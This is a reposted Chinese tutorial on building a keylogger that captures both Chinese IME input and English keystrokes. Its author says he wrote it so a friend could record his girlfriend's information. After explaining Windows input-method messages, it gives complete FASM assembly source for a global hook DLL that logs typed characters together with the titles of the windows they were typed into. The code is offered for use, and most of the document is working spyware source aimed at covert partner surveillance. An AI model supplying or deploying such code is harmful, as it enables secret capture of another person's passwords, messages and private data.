偶然在网上看到的,代码网上到处都是,但讲到原理的还真不多
原文链接: http://www.hackeye.com/article/5223/
打造中英文键盘记录(从原理剖析)
作者:小鱼
传说中超级淫荡的分割线….
//———————————————————————————–
由于昨天朋友找我让我帮他写个支持中英文键盘记录插件,他想记录他女朋友的一些信息。昨天就研究了一下。截获英文我就不用
说了吧(太简单了),也不是我们本篇文章所探究的。
截获ASCII字符,大家可以通过注册WH_CALLWNDPROC 或者 WH_KEYBOARD 和 WH-GETMESSAGE钩子 来截获相关按键的虚拟码和通过
windows转换后的wm_char消息。 当然你在通过WH_KEYBOARD钩子截获按键 按上和按下的时候获得键盘驱动所发给windows系统
的虚拟码后,自己通过其特定的编码规则进行转换,但这无疑是一项非常庞大的工程。。
有无简单的方法呢? 当然有了,如果没有也就没有今天的文章了。 呵呵。。在这里我就要说下一个概念了。windows下的汉字
输入法其实是将输入的ASCII字符串按照一定的编码规则组合成汉字。但是windows很聪明,它不可能让这个转换的任务交给我们应用
程序,所以这个重任就放到了windows系统管理中了。。
我们大家平时在输入汉字的时候,都要切换下输入法。例如我想很多人都喜欢用“搜狗输入法吧”,我就在用。o(∩_∩)o…
在我们切换输入法的时候,这个时候我们的键盘消息就要又经过一个途径,才能转发到我们的窗口过程中。 这个途径大致如下图。
键盘事件 应用程序
| |
Windows的user.exe
|
输入法管理器
|
输入法
当我们切换输入法后,输入的字符这时候不会直接发送到我们的窗口过程,而是经过一道途径。是windows将键盘事件发送到
windows的user.exe进程中,user进程再讲键盘事件发送到输入法管理器(Input Method Manager,简称IMM)中。输入法管理器
最后再将键盘事件传送到输入法中,输入法这个时候会根据用户的编码字典,翻译键盘事件为对应的汉字,然后在发送到user.exe,
user.exe再将翻译后的键盘事件传给正在运行的应用程序,从而完成汉字的输入。
我想大家看到这里,聪明的朋友应该可以明白,我们截获的时机就在这里。在输入法将键盘消息通过用户编码字典转换成汉字
后,我们在进行截获,这样我们得到的就是编码后的汉字了。。 嘿嘿,是不是很爽啊。
好,思路已经有了。我们下面来看具体的分析:
我们知道我们windows是基于消息机制的,那么在完成编码后,会不会发送消息呢?没错,在输入法将键盘事件通过用户编码
字典翻译成汉字的时候会触发:WM_IME_COMPOSITION消息,这个消息是输入法将输入的编码保存到编码结构时候会触发。所以我们
只要拦截这个消息,并且每个一个ime(也就是输入法编辑器)都会有一个输入法相关的部分,简称为IMC 。
IMC还包含一个部件,IMCCI,IMCCI是INPUTCONTEXT 结构的成员。
由于windows的各种资源是通过句柄来表示的,imc也是通过句柄来表示的,我们只要取得其句柄就可以通过其输入法管理器
提供的函数来操作imc。
输入法管理器提供了一个接口函数ImmGetContext 来获得其imc的句柄。
那么获得句柄以后呢,我在上面已经说了。 在完成编码的时候会触发WM_IME_COMPOSITION,并且完成的编码保存到编码
结构中,所以此时我们只要通过特定的函数来取得编码结构中存放的之前编码的结果,这样我们取到的就是其特定转换后的汉字了。
呵呵,输入法管理器同样提供给我们了一个接口函数ImmGetCompositionString函数。
这个函数可以取得将编码结构中的编码结果取得到特定的缓冲区。。
ImmGetCompositionString 还有一个技巧,就是可以取得编码结构中编码结构的字节大小。
这正好给我们提供了方便嘛。我们直接通过ImmGetCompositionString来取得大小,然后在通过ImmGetCompositionString
获得编码结构到我们的缓冲区。。
最后我们通过ImmReleaseContext来释放imc。
好接下来我来画个流程。。
注册全局钩子
|
| 钩子函数 |
如果是WM_IME_COMPOSITION 如果是WM_CHAR
我们首先注册全局钩子,然后钩子函数来判断其消息如果是WM_CHAR则表示我们此时输入的是字母。如果是
WM_IME_COMPOSITION表示目前我们通过输入法来输入汉字,我们截获汉字的时机也就在这里。
我们可以通过注册 WH_GETMESSAGE 钩子,这时候我们就可以通过其判定消息来分别处理。当然你可以
注册多个钩子,例如再注册一个Wh_KEYBOARD,来获得一些特殊的字符并自行处理下。防止WM_CHAR显示的是其windows默认
翻译的。
到此,我们已经从原理深入的剖析了整个流程。 此时,赶紧去实践吧大家。。。 给一个我写的键盘记录插件的例子
,可能还存在不足,因为一些特殊的字符我懒得处理了。大家可别学我啊,该勤奋的时候就得勤奋那。呵呵。 其实pcshare也是通过
此种方法来实现的中英文记录。。 如果您有更好的方法,也请麻烦告知我下…
代码:
format PE GUI 4.0 DLL
entry DllEntry
include 'win32ax.inc'
WM_IME_COMPOSITION equ 010Fh
GCS_RESULTSTR equ 0800h
section '.data' data readable writeable
hInstance rd 1
dwStrSize rd 1
hParent rd 1
szClassName db 'Edit', 0
szChina db 20 dup (?)
data import
library user32, 'user32.dll',/
kernel32, 'kernel32.dll',/
imm32, 'imm32.dll'
include 'api/kernel32.inc'
include 'api/user32.inc'
import imm32,/
ImmGetContext, 'ImmGetContext',/
ImmReleaseContext, 'ImmReleaseContext',/
ImmGetCompositionString, 'ImmGetCompositionStringA'
end data
section '.bss' data readable writeable shareable
_hWnd rd 1
hHook rd 1
hImc rd 1
_dwMessage rd 1
hEdit rd 1
hWindow rd 1
szTemp db 'hello world', 0
szTitleTemp db 0ah, 0dh, '[%s -]', 0, 0ah, 0dh
szTitle db 50 dup (?)
szOldTitle db 50 dup (?)
szBuffer db 100 dup (?)
szChinaWindow db 50 dup (?)
szChar db 4 dup (?)
section '.text' code readable executable
proc DllEntry hInstDLL, dwReason, lpReserved
push dword [ebp+8]
pop dword [hInstance]
sub eax, eax
inc eax
ret
endp
;
; String Cpy Function
;
proc StrCpy lpDest, lpSrc
pushad
mov esi, [lpS
rc]
mov edi, [lpDest]
xchg esi, edi
push edi ; lpSrc
xor eax, eax
cld
mov ecx, 0FFFFFFFFh
repne scasb
je @f
pop edi
popad
return 0
@@:
not ecx
pop edi
xchg edi, esi
push ecx
shr ecx, 2
rep movsd
pop ecx
and ecx, 3
rep movsb
popad
return 1
endp
proc StrCmp lpDest, lpSrc
pushad
mov esi, [lpDest]
mov edi, [lpSrc]
push edi
mov ecx, 0FFFFFFFFh
cld
xor eax, eax
repne scasb
je @f
pop eax
return 0
@@:
not ecx
pop edi
repe cmpsb
je @f
popad
return 0
@@:
popad
return 1
endp
;
; CALLBACK HookProc
;
proc HookProc dwCode, wParam, lParam
pushad
invoke CallNextHookEx, [hHook], [dwCode], [wParam], [lParam]
mov edx, [lParam]
virtual at edx
@hWnd dd ?
@MSG dd ?
@wParam dd ?
@lParam dd ?
@dwTime dd ?
@dwpt dd ?
end virtual
cmp [@MSG], WM_CHAR
je __HookChar
cmp [@MSG], WM_IME_COMPOSITION
je __HookImeChar
jmp __HookEnd
__HookChar:
push dword [@wParam]
pop dword [szChar]
invoke GetForegroundWindow
invoke GetWindowText, eax, szTitle, 50
stdcall StrCmp, szOldTitle, szTitle
or eax, eax
jne @f
stdcall StrCpy, szOldTitle, szTitle
invoke wsprintf, szBuffer, szTitleTemp, szOldTitle
add esp, 0ch
invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer
@@:
invoke SendMessage, [_hWnd], [_dwMessage], dword [szChar], 0
jmp __HookEnd
__HookImeChar:
invoke GetFocus
mov [hParent], eax
invoke GetParent, eax
mov [hWindow], eax
invoke GetWindowText, eax, szChinaWindow, 50
stdcall StrCmp, szOldTitle, szChinaWindow
or eax, eax
jne @f
stdcall StrCpy, szOldTitle, szChinaWindow
invoke wsprintf, szBuffer, szTitleTemp, szOldTitle
add esp, 0ch
invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer
@@:
invoke ImmGetContext, [hParent]
or eax, eax
je __HookEnd
mov [hImc], eax
invoke ImmGetCompositionString, [hImc], GCS_RESULTSTR, 0, 0
or eax, eax
je __HookEnd
mov [dwStrSize], eax
inc [dwStrSize]
inc [dwStrSize]
push edi
push ecx
mov edi, szChina
cld
mov ecx, [dwStrSize]
xor eax, eax
rep stosb
pop ecx
pop edi
invoke ImmGetCompositionString, [hImc], GCS_RESULTSTR, szChina, [dwStrSize]
invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szChina
invoke ImmReleaseContext, [hParent], [hImc]
__HookEnd:
popad
return
endp
;
; InstallHook Proc
;
proc StartHook hWnd, dwMessage
push dword [ebp+8h]
pop dword [_hWnd]
push dword [ebp+0Ch]
pop dword [_dwMessage]
invoke FindWindowEx, [_hWnd], NULL, szClassName, NULL
or eax, eax
je @f
mov [hEdit], eax
@@:
invoke SetWindowsHookEx, WH_GETMESSAGE, HookProc,/
[hInstance], NULL
mov [hHook], eax
ret
endp
;
; UnInstallHook Proc
;
proc StopHook
invoke UnhookWindowsHookEx, [hHook]
ret
endp
section '.rdata' data readable writeable export
export 'hook.dll',/
StartHook, 'StartHook',/
StopHook, 'StopHook'
section '.reloc' data readable fixups